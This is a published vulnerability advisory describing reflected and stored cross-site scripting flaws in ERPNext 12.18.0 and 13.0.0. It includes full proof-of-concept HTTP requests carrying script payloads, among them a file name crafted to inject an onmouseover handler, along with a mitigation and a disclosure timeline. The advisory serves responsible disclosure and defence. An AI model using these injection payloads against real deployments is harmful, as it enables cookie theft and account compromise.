Multiple XSS vulnerabilities in ERPNext 13.0.0/12.18.0
Overview
Advisory ID: TRSA-2103-02
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2103-02
Affected product: ERPNext
Tested versions: 12.18.0 and 13.0.0 beta
Vendor: Frappé Technologies https://frappe.io
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch
Detailed description
Trovent Security GmbH discovered multiple Cross-Site-Scripting vulnerabilities in the current software versions of ERPNext (13.0.0 and 12.18.0).
An attacker could leverage this attack to steal session cookies, install a JavaScript keylogger and more.
1. Reflected XSS in _server_messages exception field
When an API call causes an error the server sometimes sends back exception messages containing the user input which is not sanitized. This creates the possibility of reflected XSS in any API call/server function using “_server_messages”. This would be hard to exploit because we only found _server_messages exceptions in API calls made by the application itself not the user.
Severity: High
CVSS Score: 7.1 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L)
CWE ID: 79
CVE ID: TBD
Proof of concept
Sample request intercepted with Burp to inject JavaScript. Note that the JavaScript is injected in “reference_name” to raise an exception:
REQUEST:
POST /api/method/frappe.desk.form.utils.add_comment HTTP/1.1 Host: sqlprodtest.local:1080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Frappe-CSRF-Token: e6532d5e7bef6360c9646d58e0940e8004820db8704ab3dad1d2d875 X-Frappe-CMD: X-Requested-With: XMLHttpRequest Content-Length: 157 Origin: http://sqlprodtest.local:1080 Connection: close Referer: http://sqlprodtest.local:1080/desk Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=;io=Ly9MpKRfK_nrKpurAAAN reference_doctype=User&reference_name=%3cscript%3ealert(1)%3c%2fscript%3e&content=xsstest&comment_email=Administrator
RESPONSE (removed the Stack Trace for better readability):
HTTP/1.1 417 EXPECTATION FAILED
Server: nginx/1.19.7
Date: Thu, 11 Mar 2021 14:23:05 GMT
Content-Type: application/json
Content-Length: 1894
Connection: close
Set-Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; Expires=Sun, 14-Mar-2021 14:23:05 GMT; Path=/
Set-Cookie: system_user=yes; Path=/
Set-Cookie: full_name=Administrator; Path=/
Set-Cookie: user_id=Administrator; Path=/
Set-Cookie: user_image=; Path=/
{"exc_type":"LinkValidationError","exc":"[\"Traceback (...)]","_server_messages":"[\"{\\\"message\\\": \\\"Could not find Reference Name: <script>alert(1)</script>\\\", \\\"indicator\\\": \\\"red\\\", \\\"raise_exception\\\": 1}\"]"}
2. Stored XSS everywhere where user input is stored inside of HTML tags
The application does not sanitize escaped quotation marks (\”).
This can be abused to escape the HTML attribute the input is stored in.
That allows the user to add new attributes like event handlers and thus leading to stored XSS.
Our testing concluded that this issue is present in the entire application the only requirement is that the input is being reflected inside of an HTML tag not between them. It also can’t be a linking attribute like “href” because inside of them user input is escaped. For example in combination with HTML injection through a comment, a malicious user is able to modify his profile to steal cookies from every user including administrators that view his profile.
Severity: High
CVSS Score: 8.2 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L)
CWE ID: 79
CVE ID: TBD
Proof of concept
Sample request where the file name contains the XSS code with the escaped quotation marks:
REQUEST:
POST /api/method/upload_file HTTP/1.1 Host: sqlprodtest.local:1080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Frappe-CSRF-Token: e6532d5e7bef6360c9646d58e0940e8004820db8704ab3dad1d2d875 Content-Type: multipart/form-data; boundary=---------------------------173872902410009950314171894076 Content-Length: 74566 Origin: http://sqlprodtest.local:1080 Connection: close Referer: http://sqlprodtest.local:1080/desk Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=; io=o0Bglip9YmrzxZj9AAAX -----------------------------173872902410009950314171894076 Content-Disposition: form-data; name="file"; filename="user-enum.png\" onmouseover=\"alert(1234)\"" Content-Type: image/png PNG (...)
HTML code snippet from erpnext-server.com/desk#List/File/Home.
The user is able to escape the context of the title attribute and add an onmouseover event which triggers the JavaScript:
<div class="level list-row small"> <div class="level-left ellipsis"> <div class="list-row-col ellipsis list-subject level"> <input class="level-item list-row-checkbox hidden-xs" type="checkbox" data-name="a5ff65f666"> <span class="level-item ellipsis" title="user-enum.png" onmouseover="alert(1234)" "=""> <a class="ellipsis" href="#Form/File/a5ff65f666" title="user-enum.png" onmouseover="alert(1234)" "=""> <i class="octicon octicon-file-text text-muted" style="width: 16px;"></i> <span>user-enum.png" onmouseover="alert(1234)"</span>
Solution / Workaround
To mitigate this vulnerability, we recommend to always escape quotation marks.
History
2021-03-08: Vulnerability found
2021-03-12: Advisory created and vendor contacted
2021-03-22: Vendor replied that they request CVE IDs after a fix is released
2021-04-19: Vendor informed about planned disclosure date (2021-05-11)
2021-05-03: Vendor contacted, asking for status
2021-05-07: No reply from vendor, vendor contacted again
2021-05-11: Advisory published